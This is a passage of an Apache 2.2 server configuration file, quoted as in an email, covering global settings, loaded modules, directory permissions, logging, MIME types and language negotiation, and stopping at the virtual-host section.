> information.
> # In particular, see
> # <URL:http://httpd.apache.org/docs/2.2/mod/directives.html>
> # for a discussion of each configuration directive.
> #
> #
> # Do NOT simply read the instructions in here without understanding
> # what they do.  They're here only as hints or reminders.  If you are
> unsure
> # consult the online docs. You have been warned.  
> #
> # The configuration directives are grouped into three basic sections:
> #  1. Directives that control the operation of the Apache server
> process as a
> #     whole (the 'global environment').
> #  2. Directives that define the parameters of the 'main' or 'default'
> server,
> #     which responds to requests that aren't handled by a virtual
> host.
> #     These directives also provide default values for the settings
> #     of all virtual hosts.
> #  3. Settings for virtual hosts, which allow Web requests to be sent
> to
> #     different IP addresses or hostnames and have them handled by the
> #     same Apache server process.
> #
> # Configuration and logfile names: If the filenames you specify for
> many
> # of the server's control files begin with "/" (or "drive:/" for
> Win32), the
> # server will use that explicit path.  If the filenames do *not* begin
> # with "/", the value of ServerRoot is prepended -- so "logs/foo.log"
> # with ServerRoot set to "/etc/httpd" will be interpreted by the
> # server as "/etc/httpd/logs/foo.log".
> #
> 
> ### Section 1: Global Environment
> #
> # The directives in this section affect the overall operation of
> Apache,
> # such as the number of concurrent requests it can handle or where it
> # can find its configuration files.
> #
> 
> #
> # Don't give away too much information about all the subcomponents
> # we are running.  Comment out this line if you don't mind remote
> sites
> # finding out what major optional modules you are running
> ServerTokens OS
> 
> #
> # ServerRoot: The top of the directory tree under which the server's
> # configuration, error, and log files are kept.
> #
> # NOTE!  If you intend to place this on an NFS (or otherwise network)
> # mounted filesystem then please read the LockFile documentation
> # (available at
> <URL:http://httpd.apache.org/docs/2.2/mod/mpm_common.html#lockfile>);
> # you will save yourself a lot of trouble.
> #
> # Do NOT add a slash at the end of the directory path.
> #
> ServerRoot "/etc/httpd"
> 
> #
> # PidFile: The file in which the server should record its process
> # identification number when it starts.
> #
> PidFile run/httpd.pid
> 
> #
> # Timeout: The number of seconds before receives and sends time out.
> #
> Timeout 120
> 
> #
> # KeepAlive: Whether or not to allow persistent connections (more than
> # one request per connection). Set to "Off" to deactivate.
> #
> KeepAlive Off
> 
> #
> # MaxKeepAliveRequests: The maximum number of requests to allow
> # during a persistent connection. Set to 0 to allow an unlimited
> amount.
> # We recommend you leave this number high, for maximum performance.
> #
> MaxKeepAliveRequests 100
> 
> #
> # KeepAliveTimeout: Number of seconds to wait for the next request
> from the
> # same client on the same connection.
> #
> KeepAliveTimeout 15
> 
> ##
> ## Server-Pool Size Regulation (MPM specific)
> ## 
> 
> # prefork MPM
> # StartServers: number of server processes to start
> # MinSpareServers: minimum number of server processes which are kept
> spare
> # MaxSpareServers: maximum number of server processes which are kept
> spare
> # ServerLimit: maximum value for MaxClients for the lifetime of the
> server
> # MaxClients: maximum number of server processes allowed to start
> # MaxRequestsPerChild: maximum number of requests a server process
> serves
> <IfModule prefork.c>
> StartServers       8
> MinSpareServers    5
> MaxSpareServers   20
> ServerLimit      256
> MaxClients       100
> MaxRequestsPerChild  0
> </IfModule>
> 
> # worker MPM
> # StartServers: initial number of server processes to start
> # MaxClients: maximum number of simultaneous client connections
> # MinSpareThreads: minimum number of worker threads which are kept
> spare
> # MaxSpareThreads: maximum number of worker threads which are kept
> spare
> # ThreadsPerChild: constant number of worker threads in each server
> process
> # MaxRequestsPerChild: maximum number of requests a server process
> serves
> <IfModule worker.c>
> StartServers         2
> MaxClients         100
> MinSpareThreads     15
> MaxSpareThreads     25 
> ThreadsPerChild     5
> MaxRequestsPerChild  0
> </IfModule>
> 
> #
> # Listen: Allows you to bind Apache to specific IP addresses and/or
> # ports, in addition to the default. See also the <VirtualHost>
> # directive.
> #
> # Change this to Listen on specific IP addresses as shown below to 
> # prevent Apache from glomming onto all bound IP addresses (0.0.0.0)
> #
> #Listen 12.34.56.78:80
> Listen *:80
> Listen *:81
> 
> #
> # Dynamic Shared Object (DSO) Support
> #
> # To be able to use the functionality of a module which was built as a
> DSO you
> # have to place corresponding `LoadModule' lines at this location so
> the
> # directives contained in it are actually available _before_ they are
> used.
> # Statically compiled modules (those listed by `httpd -l') do not need
> # to be loaded here.
> #
> # Example:
> # LoadModule foo_module modules/mod_foo.so
> #
> LoadModule auth_basic_module modules/mod_auth_basic.so
> LoadModule auth_digest_module modules/mod_auth_digest.so
> LoadModule authn_file_module modules/mod_authn_file.so
> LoadModule authn_alias_module modules/mod_authn_alias.so
> LoadModule authn_anon_module modules/mod_authn_anon.so
> LoadModule authn_dbm_module modules/mod_authn_dbm.so
> LoadModule authn_default_module modules/mod_authn_default.so
> LoadModule authz_host_module modules/mod_authz_host.so
> LoadModule authz_user_module modules/mod_authz_user.so
> LoadModule authz_owner_module modules/mod_authz_owner.so
> LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
> LoadModule authz_dbm_module modules/mod_authz_dbm.so
> LoadModule authz_default_module modules/mod_authz_default.so
> LoadModule ldap_module modules/mod_ldap.so
> LoadModule authnz_ldap_module modules/mod_authnz_ldap.so
> LoadModule include_module modules/mod_include.so
> LoadModule log_config_module modules/mod_log_config.so
> LoadModule logio_module modules/mod_logio.so
> LoadModule env_module modules/mod_env.so
> LoadModule ext_filter_module modules/mod_ext_filter.so
> LoadModule mime_magic_module modules/mod_mime_magic.so
> LoadModule expires_module modules/mod_expires.so
> LoadModule deflate_module modules/mod_deflate.so
> LoadModule headers_module modules/mod_headers.so
> LoadModule usertrack_module modules/mod_usertrack.so
> LoadModule setenvif_module modules/mod_setenvif.so
> LoadModule mime_module modules/mod_mime.so
> LoadModule dav_module modules/mod_dav.so
> LoadModule status_module modules/mod_status.so
> LoadModule autoindex_module modules/mod_autoindex.so
> LoadModule info_module modules/mod_info.so
> LoadModule dav_fs_module modules/mod_dav_fs.so
> LoadModule vhost_alias_module modules/mod_vhost_alias.so
> LoadModule negotiation_module modules/mod_negotiation.so
> LoadModule dir_module modules/mod_dir.so
> LoadModule actions_module modules/mod_actions.so
> LoadModule speling_module modules/mod_speling.so
> LoadModule userdir_module modules/mod_userdir.so
> LoadModule alias_module modules/mod_alias.so
> LoadModule rewrite_module modules/mod_rewrite.so
> LoadModule proxy_module modules/mod_proxy.so
> LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
> LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
> LoadModule proxy_http_module modules/mod_proxy_http.so
> LoadModule proxy_connect_module modules/mod_proxy_connect.so
> LoadModule cache_module modules/mod_cache.so
> LoadModule suexec_module modules/mod_suexec.so
> LoadModule disk_cache_module modules/mod_disk_cache.so
> LoadModule cgi_module modules/mod_cgi.so
> 
> #
> # The following modules are not loaded by default:
> #
> #LoadModule cern_meta_module modules/mod_cern_meta.so
> #LoadModule asis_module modules/mod_asis.so
> 
> #
> # Load config files from the config directory "/etc/httpd/conf.d".
> #
> Include conf.d/*.conf
> 
> #
> # ExtendedStatus controls whether Apache will generate "full" status
> # information (ExtendedStatus On) or just basic information
> (ExtendedStatus
> # Off) when the "server-status" handler is called. The default is Off.
> #
> ExtendedStatus On
> 
> #
> # If you wish httpd to run as a different user or group, you must run
> # httpd as root initially and it will switch.  
> #
> # User/Group: The name (or #number) of the user/group to run httpd as.
> #  . On SCO (ODT 3) use "User nouser" and "Group nogroup".
> #  . On HPUX you may not be able to use shared memory as nobody, and
> the
> #    suggested workaround is to create a user www and use that user.
> #  NOTE that some kernels refuse to setgid(Group) or semctl(IPC_SET)
> #  when the value of (unsigned)Group is above 60000; 
> #  don't use Group #-1 on these systems!
> #
> User apache
> Group apache
> 
> ### Section 2: 'Main' server configuration
> #
> # The directives in this section set up the values used by the 'main'
> # server, which responds to any requests that aren't handled by a
> # <VirtualHost> definition.  These values also provide defaults for
> # any <VirtualHost> containers you may define later in the file.
> #
> # All of these directives may appear inside <VirtualHost> containers,
> # in which case these default settings will be overridden for the
> # virtual host being defined.
> #
> 
> #
> # ServerAdmin: Your address, where problems with the server should be
> # e-mailed.  This address appears on some server-generated pages, such
> # as error documents.  e.g. admin@your-domain.com
> #
> ServerAdmin dan.bunyard@att.net
> 
> #
> # ServerName gives the name and port that the server uses to identify
> itself.
> # This can often be determined automatically, but we recommend you
> specify
> # it explicitly to prevent problems during startup.
> #
> # If this is not set to valid DNS name for your host, server-generated
> # redirections will not work.  See also the UseCanonicalName
> directive.
> #
> # If your host doesn't have a registered DNS name, enter its IP
> address here.
> # You will have to access it by its address anyway, and this will
> make 
> # redirections work in a sensible way.
> #
> ServerName server.danodemano.com:80
> 
> #
> # UseCanonicalName: Determines how Apache constructs self-referencing 
> # URLs and the SERVER_NAME and SERVER_PORT variables.
> # When set "Off", Apache will use the Hostname and Port supplied
> # by the client.  When set "On", Apache will use the value of the
> # ServerName directive.
> #
> UseCanonicalName Off
> 
> #
> # DocumentRoot: The directory out of which you will serve your
> # documents. By default, all requests are taken from this directory,
> but
> # symbolic links and aliases may be used to point to other locations.
> #
> DocumentRoot "/var/www/html"
> 
> #
> # Each directory to which Apache has access can be configured with
> respect
> # to which services and features are allowed and/or disabled in that
> # directory (and its subdirectories). 
> #
> # First, we configure the "default" to be a very restrictive set of 
> # features.  
> #
> <Directory />
>     Options FollowSymLinks
>     AllowOverride None
> </Directory>
> 
> #
> # Note that from this point forward you must specifically allow
> # particular features to be enabled - so if something's not working as
> # you might expect, make sure that you have specifically enabled it
> # below.
> #
> 
> #
> # This should be changed to whatever you set DocumentRoot to.
> #
> <Directory "/var/www/html">
> 
> #
> # Possible values for the Options directive are "None", "All",
> # or any combination of:
> #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI
> MultiViews
> #
> # Note that "MultiViews" must be named *explicitly* --- "Options All"
> # doesn't give it to you.
> #
> # The Options directive is both complicated and important.  Please see
> # http://httpd.apache.org/docs/2.2/mod/core.html#options
> # for more information.
> #
>     Options Indexes FollowSymLinks
> 
> #
> # AllowOverride controls what directives may be placed in .htaccess
> files.
> # It can be "All", "None", or any combination of the keywords:
> #   Options FileInfo AuthConfig Limit
> #
>     AllowOverride All
> 
> #
> # Controls who can get stuff from this server.
> #
>     Order allow,deny
>     Allow from all
> 
> </Directory>
> 
> #Allow access to firestats images
> <Directory /var/www/html/firestats/img>
>     AllowOverride None
> </Directory>
> 
> #
> # UserDir: The name of the directory that is appended onto a user's
> home
> # directory if a ~user request is received.
> #
> # The path to the end user account 'public_html' directory must be
> # accessible to the webserver userid.  This usually means that ~userid
> # must have permissions of 711, ~userid/public_html must have
> permissions
> # of 755, and documents contained therein must be world-readable.
> # Otherwise, the client will only receive a "403 Forbidden" message.
> #
> # See also: http://httpd.apache.org/docs/misc/FAQ.html#forbidden
> #
> <IfModule mod_userdir.c>
>     #
>     # UserDir is disabled by default since it can confirm the presence
>     # of a username on the system (depending on home directory
>     # permissions).
>     #
>     UserDir disabled
> 
>     #
>     # To enable requests to /~user/ to serve the user's public_html
>     # directory, remove the "UserDir disabled" line above, and
> uncomment
>     # the following line instead:
>     # 
>     #UserDir public_html
> 
> </IfModule>
> 
> #
> # Control access to UserDir directories.  The following is an example
> # for a site where these directories are restricted to read-only.
> #
> #<Directory /home/*/public_html>
> #    AllowOverride FileInfo AuthConfig Limit
> #    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
> #    <Limit GET POST OPTIONS>
> #        Order allow,deny
> #        Allow from all
> #    </Limit>
> #    <LimitExcept GET POST OPTIONS>
> #        Order deny,allow
> #        Deny from all
> #    </LimitExcept>
> #</Directory>
> 
> #
> # DirectoryIndex: sets the file that Apache will serve if a directory
> # is requested.
> #
> # The index.html.var file (a type-map) is used to deliver content-
> # negotiated documents.  The MultiViews Option can be used for the 
> # same purpose, but it is much slower.
> #
> DirectoryIndex index.html index.html.var
> 
> #
> # AccessFileName: The name of the file to look for in each directory
> # for additional configuration directives.  See also the AllowOverride
> # directive.
> #
> AccessFileName .htaccess
> 
> #
> # The following lines prevent .htaccess and .htpasswd files from
> being 
> # viewed by Web clients. 
> #
> <Files ~ "^\.ht">
>     Order allow,deny
>     Deny from all
> </Files>
> 
> #
> # TypesConfig describes where the mime.types file (or equivalent) is
> # to be found.
> #
> TypesConfig /etc/mime.types
> 
> #
> # DefaultType is the default MIME type the server will use for a
> document
> # if it cannot otherwise determine one, such as from filename
> extensions.
> # If your server contains mostly text or HTML documents, "text/plain"
> is
> # a good value.  If most of your content is binary, such as
> applications
> # or images, you may want to use "application/octet-stream" instead to
> # keep browsers from trying to display binary files as though they are
> # text.
> #
> DefaultType text/plain
> 
> #
> # The mod_mime_magic module allows the server to use various hints
> from the
> # contents of the file itself to determine its type.  The
> MIMEMagicFile
> # directive tells the module where the hint definitions are located.
> #
> <IfModule mod_mime_magic.c>
> #   MIMEMagicFile /usr/share/magic.mime
>     MIMEMagicFile conf/magic
> </IfModule>
> 
> #
> # HostnameLookups: Log the names of clients or just their IP addresses
> # e.g., www.apache.org (on) or 204.62.129.132 (off).
> # The default is off because it'd be overall better for the net if
> people
> # had to knowingly turn this feature on, since enabling it means that
> # each client request will result in AT LEAST one lookup request to
> the
> # nameserver.
> #
> HostnameLookups Off
> 
> #
> # EnableMMAP: Control whether memory-mapping is used to deliver
> # files (assuming that the underlying OS supports it).
> # The default is on; turn this off if you serve from NFS-mounted 
> # filesystems.  On some systems, turning it off (regardless of
> # filesystem) can improve performance; for details, please see
> # http://httpd.apache.org/docs/2.2/mod/core.html#enablemmap
> #
> #EnableMMAP off
> 
> #
> # EnableSendfile: Control whether the sendfile kernel support is 
> # used to deliver files (assuming that the OS supports it). 
> # The default is on; turn this off if you serve from NFS-mounted 
> # filesystems.  Please see
> # http://httpd.apache.org/docs/2.2/mod/core.html#enablesendfile
> #
> #EnableSendfile off
> 
> #
> # ErrorLog: The location of the error log file.
> # If you do not specify an ErrorLog directive within a <VirtualHost>
> # container, error messages relating to that virtual host will be
> # logged here.  If you *do* define an error logfile for a
> <VirtualHost>
> # container, that host's errors will be logged there and not here.
> #
> ErrorLog logs/error_log
> 
> #
> # LogLevel: Control the number of messages logged to the error_log.
> # Possible values include: debug, info, notice, warn, error, crit,
> # alert, emerg.
> #
> LogLevel warn
> 
> #
> # The following directives define some format nicknames for use with
> # a CustomLog directive (see below).
> #
> LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i
> \"" combined
> LogFormat "%h %l %u %t \"%r\" %>s %b" common
> LogFormat "%{Referer}i -> %U" referer
> LogFormat "%{User-agent}i" agent
> 
> # "combinedio" includes actual counts of actual bytes received (%I)
> and sent (%O); this
> # requires the mod_logio module to be loaded.
> #LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i
> \" %I %O" combinedio
> 
> #
> # The location and format of the access logfile (Common Logfile
> Format).
> # If you do not define any access logfiles within a <VirtualHost>
> # container, they will be logged here.  Contrariwise, if you *do*
> # define per-<VirtualHost> access logfiles, transactions will be
> # logged therein and *not* in this file.
> #
> #CustomLog logs/access_log common
> 
> #
> # If you would like to have separate agent and referer logfiles,
> uncomment
> # the following directives.
> #
> #CustomLog logs/referer_log referer
> #CustomLog logs/agent_log agent
> 
> #
> # For a single logfile with access, agent, and referer information
> # (Combined Logfile Format), use the following directive:
> #
> CustomLog logs/access_log combined
> 
> #
> # Optionally add a line containing the server version and virtual host
> # name to server-generated pages (internal error documents, FTP
> directory
> # listings, mod_status and mod_info output etc., but not CGI generated
> # documents or custom error documents).
> # Set to "EMail" to also include a mailto: link to the ServerAdmin.
> # Set to one of:  On | Off | EMail
> #
> ServerSignature On
> 
> #
> # Aliases: Add here as many aliases as you need (with no limit). The
> format is 
> # Alias fakename realname
> #
> # Note that if you include a trailing / on fakename then the server
> will
> # require it to be present in the URL.  So "/icons" isn't aliased in
> this
> # example, only "/icons/".  If the fakename is slash-terminated, then
> the 
> # realname must also be slash terminated, and if the fakename omits
> the 
> # trailing slash, the realname must also omit it.
> #
> # We include the /icons/ alias for FancyIndexed directory listings.
> If you
> # do not use FancyIndexing, you may comment this out.
> #
> Alias /icons/ "/var/www/icons/"
> 
> <Directory "/var/www/icons">
>     Options Indexes MultiViews FollowSymLinks
>     AllowOverride None
>     Order allow,deny
>     Allow from all
> </Directory>
> 
> #
> # WebDAV module configuration section.
> # 
> <IfModule mod_dav_fs.c>
>     # Location of the WebDAV lock database.
>     DAVLockDB /var/lib/dav/lockdb
> </IfModule>
> 
> #
> # ScriptAlias: This controls which directories contain server scripts.
> # ScriptAliases are essentially the same as Aliases, except that
> # documents in the realname directory are treated as applications and
> # run by the server when requested rather than as documents sent to
> the client.
> # The same rules about trailing "/" apply to ScriptAlias directives as
> to
> # Alias.
> #
> ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
> 
> #
> # "/var/www/cgi-bin" should be changed to whatever your ScriptAliased
> # CGI directory exists, if you have that configured.
> #
> <Directory "/var/www/cgi-bin">
>     AllowOverride None
>     Options None
>     Order allow,deny
>     Allow from all
> </Directory>
> 
> #
> # Redirect allows you to tell clients about documents which used to
> exist in
> # your server's namespace, but do not anymore. This allows you to tell
> the
> # clients where to look for the relocated document.
> # Example:
> # Redirect permanent /foo http://www.example.com/bar
> 
> #
> # Directives controlling the display of server-generated directory
> listings.
> #
> 
> #
> # IndexOptions: Controls the appearance of server-generated directory
> # listings.
> #
> IndexOptions FancyIndexing VersionSort NameWidth=* HTMLTable
> Charset=UTF-8
> 
> #
> # AddIcon* directives tell the server which icon to show for different
> # files or filename extensions.  These are only displayed for
> # FancyIndexed directories.
> #
> AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip
> 
> AddIconByType (TXT,/icons/text.gif) text/*
> AddIconByType (IMG,/icons/image2.gif) image/*
> AddIconByType (SND,/icons/sound2.gif) audio/*
> AddIconByType (VID,/icons/movie.gif) video/*
> 
> AddIcon /icons/binary.gif .bin .exe
> AddIcon /icons/binhex.gif .hqx
> AddIcon /icons/tar.gif .tar
> AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
> AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
> AddIcon /icons/a.gif .ps .ai .eps
> AddIcon /icons/layout.gif .html .shtml .htm .pdf
> AddIcon /icons/text.gif .txt
> AddIcon /icons/c.gif .c
> AddIcon /icons/p.gif .pl .py
> AddIcon /icons/f.gif .for
> AddIcon /icons/dvi.gif .dvi
> AddIcon /icons/uuencoded.gif .uu
> AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
> AddIcon /icons/tex.gif .tex
> AddIcon /icons/bomb.gif core
> 
> AddIcon /icons/back.gif ..
> AddIcon /icons/hand.right.gif README
> AddIcon /icons/folder.gif ^^DIRECTORY^^
> AddIcon /icons/blank.gif ^^BLANKICON^^
> 
> #
> # DefaultIcon is which icon to show for files which do not have an
> icon
> # explicitly set.
> #
> DefaultIcon /icons/unknown.gif
> 
> #
> # AddDescription allows you to place a short description after a file
> in
> # server-generated indexes.  These are only displayed for FancyIndexed
> # directories.
> # Format: AddDescription "description" filename
> #
> #AddDescription "GZIP compressed document" .gz
> #AddDescription "tar archive" .tar
> #AddDescription "GZIP compressed tar archive" .tgz
> 
> #
> # ReadmeName is the name of the README file the server will look for
> by
> # default, and append to directory listings.
> #
> # HeaderName is the name of a file which should be prepended to
> # directory indexes. 
> ReadmeName README.html
> HeaderName HEADER.html
> 
> #
> # IndexIgnore is a set of filenames which directory indexing should
> ignore
> # and not include in the listing.  Shell-style wildcarding is
> permitted.
> #
> IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t
> 
> #
> # DefaultLanguage and AddLanguage allows you to specify the language
> of 
> # a document. You can then use content negotiation to give a browser
> a 
> # file in a language the user can understand.
> #
> # Specify a default language. This means that all data
> # going out without a specific language tag (see below) will 
> # be marked with this one. You probably do NOT want to set
> # this unless you are sure it is correct for all cases.
> #
> # * It is generally better to not mark a page as 
> # * being a certain language than marking it with the wrong
> # * language!
> #
> # DefaultLanguage nl
> #
> # Note 1: The suffix does not have to be the same as the language
> # keyword --- those with documents in Polish (whose net-standard
> # language code is pl) may wish to use "AddLanguage pl .po" to
> # avoid the ambiguity with the common suffix for perl scripts.
> #
> # Note 2: The example entries below illustrate that in some cases 
> # the two character 'Language' abbreviation is not identical to 
> # the two character 'Country' code for its country,
> # E.g. 'Danmark/dk' versus 'Danish/da'.
> #
> # Note 3: In the case of 'ltz' we violate the RFC by using a three
> char
> # specifier. There is 'work in progress' to fix this and get
> # the reference data for rfc1766 cleaned up.
> #
> # Catalan (ca) - Croatian (hr) - Czech (cs) - Danish (da) - Dutch (nl)
> # English (en) - Esperanto (eo) - Estonian (et) - French (fr) - German
> (de)
> # Greek-Modern (el) - Hebrew (he) - Italian (it) - Japanese (ja)
> # Korean (ko) - Luxembourgeois* (ltz) - Norwegian Nynorsk (nn)
> # Norwegian (no) - Polish (pl) - Portugese (pt)
> # Brazilian Portuguese (pt-BR) - Russian (ru) - Swedish (sv)
> # Simplified Chinese (zh-CN) - Spanish (es) - Traditional Chinese
> (zh-TW)
> #
> AddLanguage ca .ca
> AddLanguage cs .cz .cs
> AddLanguage da .dk
> AddLanguage de .de
> AddLanguage el .el
> AddLanguage en .en
> AddLanguage eo .eo
> AddLanguage es .es
> AddLanguage et .et
> AddLanguage fr .fr
> AddLanguage he .he
> AddLanguage hr .hr
> AddLanguage it .it
> AddLanguage ja .ja
> AddLanguage ko .ko
> AddLanguage ltz .ltz
> AddLanguage nl .nl
> AddLanguage nn .nn
> AddLanguage no .no
> AddLanguage pl .po
> AddLanguage pt .pt
> AddLanguage pt-BR .pt-br
> AddLanguage ru .ru
> AddLanguage sv .sv
> AddLanguage zh-CN .zh-cn
> AddLanguage zh-TW .zh-tw
> 
> #
> # LanguagePriority allows you to give precedence to some languages
> # in case of a tie during content negotiation.
> #
> # Just list the languages in decreasing order of preference. We have
> # more or less alphabetized them here. You probably want to change
> this.
> #
> LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl
> nn no pl pt pt-BR ru sv zh-CN zh-TW
> 
> #
> # ForceLanguagePriority allows you to serve a result page rather than
> # MULTIPLE CHOICES (Prefer) [in case of a tie] or NOT ACCEPTABLE
> (Fallback)
> # [in case no accepted languages matched the available variants]
> #
> ForceLanguagePriority Prefer Fallback
> 
> #
> # Specify a default charset for all content served; this enables
> # interpretation of all content as UTF-8 by default.  To use the 
> # default browser choice (ISO-8859-1), or to allow the META tags
> # in HTML content to override this choice, comment out this
> # directive:
> #
> AddDefaultCharset UTF-8
> 
> #
> # AddType allows you to add to or override the MIME configuration
> # file mime.types for specific file types.
> #
> #AddType application/x-tar .tgz
> 
> #
> # AddEncoding allows you to have certain browsers uncompress
> # information on the fly. Note: Not all browsers support this.
> # Despite the name similarity, the following Add* directives have
> nothing
> # to do with the FancyIndexing customization directives above.
> #
> #AddEncoding x-compress .Z
> #AddEncoding x-gzip .gz .tgz
> 
> # If the AddEncoding directives above are commented-out, then you
> # probably should define those extensions to indicate media types:
> #
> AddType application/x-compress .Z
> AddType application/x-gzip .gz .tgz
> 
> #
> #   MIME-types for downloading Certificates and CRLs
> #
> AddType application/x-x509-ca-cert .crt
> AddType application/x-pkcs7-crl    .crl
> 
> #
> # AddHandler allows you to map certain file extensions to "handlers":
> # actions unrelated to filetype. These can be either built into the
> server
> # or added with the Action directive (see below)
> #
> # To use CGI scripts outside of ScriptAliased directories:
> # (You will also need to add "ExecCGI" to the "Options" directive.)
> #
> #AddHandler cgi-script .cgi
> 
> #
> # For files that include their own HTTP headers:
> #
> #AddHandler send-as-is asis
> 
> #
> # For type maps (negotiated resources):
> # (This is enabled by default to allow the Apache "It Worked" page
> #  to be distributed in multiple languages.)
> #
> AddHandler type-map var
> 
> #
> # Filters allow you to process content before it is sent to the
> client.
> #
> # To parse .shtml files for server-side includes (SSI):
> # (You will also need to add "Includes" to the "Options" directive.)
> #
> AddType text/html .shtml
> AddOutputFilter INCLUDES .shtml
> 
> #
> # Action lets you define media types that will execute a script
> whenever
> # a matching file is called. This eliminates the need for repeated URL
> # pathnames for oft-used CGI file processors.
> # Format: Action media/type /cgi-script/location
> # Format: Action handler-name /cgi-script/location
> #
> 
> #
> # Customizable error responses come in three flavors:
> # 1) plain text 2) local redirects 3) external redirects
> #
> # Some examples:
> #ErrorDocument 500 "The server made a boo boo."
> #ErrorDocument 404 /missing.html
> #ErrorDocument 404 "/cgi-bin/missing_handler.pl"
> #ErrorDocument 402 http://www.example.com/subscription_info.html
> #
> 
> #
> # Putting this all together, we can internationalize error responses.
> #
> # We use Alias to redirect any /error/HTTP_<error>.html.var response
> to
> # our collection of by-error message multi-language collections.  We
> use 
> # includes to substitute the appropriate text.
> #
> # You can modify the messages' appearance without changing any of the
> # default HTTP_<error>.html.var files by adding the line:
> #
> #   Alias /error/include/ "/your/include/path/"
> #
> # which allows you to create your own set of files by starting with
> the
> # /var/www/error/include/ files and
> # copying them to /your/include/path/, even on a per-VirtualHost
> basis.
> #
> 
> Alias /error/ "/var/www/error/"
> 
> <IfModule mod_negotiation.c>
> <IfModule mod_include.c>
>     <Directory "/var/www/error">
>         AllowOverride None
>         Options IncludesNoExec
>         AddOutputFilter Includes html
>         AddHandler type-map var
>         Order allow,deny
>         Allow from all
>         LanguagePriority en es de fr
>         ForceLanguagePriority Prefer Fallback
>     </Directory>
> 
> #    ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var
> #    ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var
> #    ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var
> #    ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var
> #    ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var
> #    ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var
> #    ErrorDocument 410 /error/HTTP_GONE.html.var
> #    ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var
> #    ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var
> #    ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var
> #    ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var
> #    ErrorDocument 415 /error/HTTP_UNSUPPORTED_MEDIA_TYPE.html.var
> #    ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var
> #    ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var
> #    ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var
> #    ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var
> #    ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var
> 
> </IfModule>
> </IfModule>
> 
> #
> # The following directives modify normal HTTP response behavior to
> # handle known problems with browser implementations.
> #
> BrowserMatch "Mozilla/2" nokeepalive
> BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0
> force-response-1.0
> BrowserMatch "RealPlayer 4\.0" force-response-1.0
> BrowserMatch "Java/1\.0" force-response-1.0
> BrowserMatch "JDK/1\.0" force-response-1.0
> 
> #
> # The following directive disables redirects on non-GET requests for
> # a directory that does not include the trailing slash.  This fixes a 
> # problem with Microsoft WebFolders which does not appropriately
> handle 
> # redirects for folders with DAV methods.
> # Same deal with Apple's DAV filesystem and Gnome VFS support for DAV.
> #
> BrowserMatch "Microsoft Data Access Internet Publishing Provider"
> redirect-carefully
> BrowserMatch "MS FrontPage" redirect-carefully
> BrowserMatch "^WebDrive" redirect-carefully
> BrowserMatch "^WebDAVFS/1.[0123]" redirect-carefully
> BrowserMatch "^gnome-vfs/1.0" redirect-carefully
> BrowserMatch "^XML Spy" redirect-carefully
> BrowserMatch "^Dreamweaver-WebDAV-SCM1" redirect-carefully
> 
> #
> # Allow server status reports generated by mod_status,
> # with the URL of http://servername/server-status
> # Change the ".example.com" to match your domain to enable.
> #
> #<Location /server-status>
> #    SetHandler server-status
> #    Order deny,allow
> #    Deny from all
> #    Allow from .example.com
> #</Location>
> 
> #
> # Allow remote server configuration reports, with the URL of
> #  http://servername/server-info (requires that mod_info.c be loaded).
> # Change the ".example.com" to match your domain to enable.
> #
> #<Location /server-info>
> #    SetHandler server-info
> #    Order deny,allow
> #    Deny from all
> #    Allow from .example.com
> #</Location>
> 
> #
> # Proxy Server directives. Uncomment the following lines to
> # enable the proxy server:
> #
> #<IfModule mod_proxy.c>
> #ProxyRequests On
> #
> #<Proxy *>
> #    Order deny,allow
> #    Deny from all
> #    Allow from .example.com
> #</Proxy>
> 
> #
> # Enable/disable the handling of HTTP/1.1 "Via:" headers.
> # ("Full" adds the server version; "Block" removes all outgoing Via:
> headers)
> # Set to one of: Off | On | Full | Block
> #
> #ProxyVia On
> 
> #
> # To enable a cache of proxied content, uncomment the following lines.
> # See http://httpd.apache.org/docs/2.2/mod/mod_cache.html for more
> details.
> #
> #<IfModule mod_disk_cache.c>
> #   CacheEnable disk /
> #   CacheRoot "/var/cache/mod_proxy"
> #</IfModule>
> #
> 
> #</IfModule>
> # End of proxy directives.
> 
> ### Section 3: Virtual Hosts
> #
> # VirtualHost: If you want to maintain multiple domains/hostnames on
> your
> # machine you can setup VirtualHost containers for them. Most
> configurations
> # use only name-based virtual hosts so the server doesn't need to
> worry about
> # IP addresses. This is indicated by the asterisks in the directives
> below.
> #
> # Please see the documentation at 
> # <URL:http://httpd.apache.org/docs/2.2/vhosts/>
> # for further details before you try to setup virtual hosts.
> #
> # You may use the command line option '-S' to verify your virtual host
> # configuration.
> 
> #
> # Use name-based virtual hosting.
> #
> NameVirtualHost *:80
> #
> # NOTE: NameVirtualHost cannot be used without a port specifier 
> # (e.g. :80) if mod_ssl is being used, due to the nature of the
> # SSL protocol.
> #
> 
> #
> # VirtualHost example:
> # Almost any Apache directive may go into a VirtualHost container.
> # The first VirtualHost section is used for requests without a known
> # server name.
> #
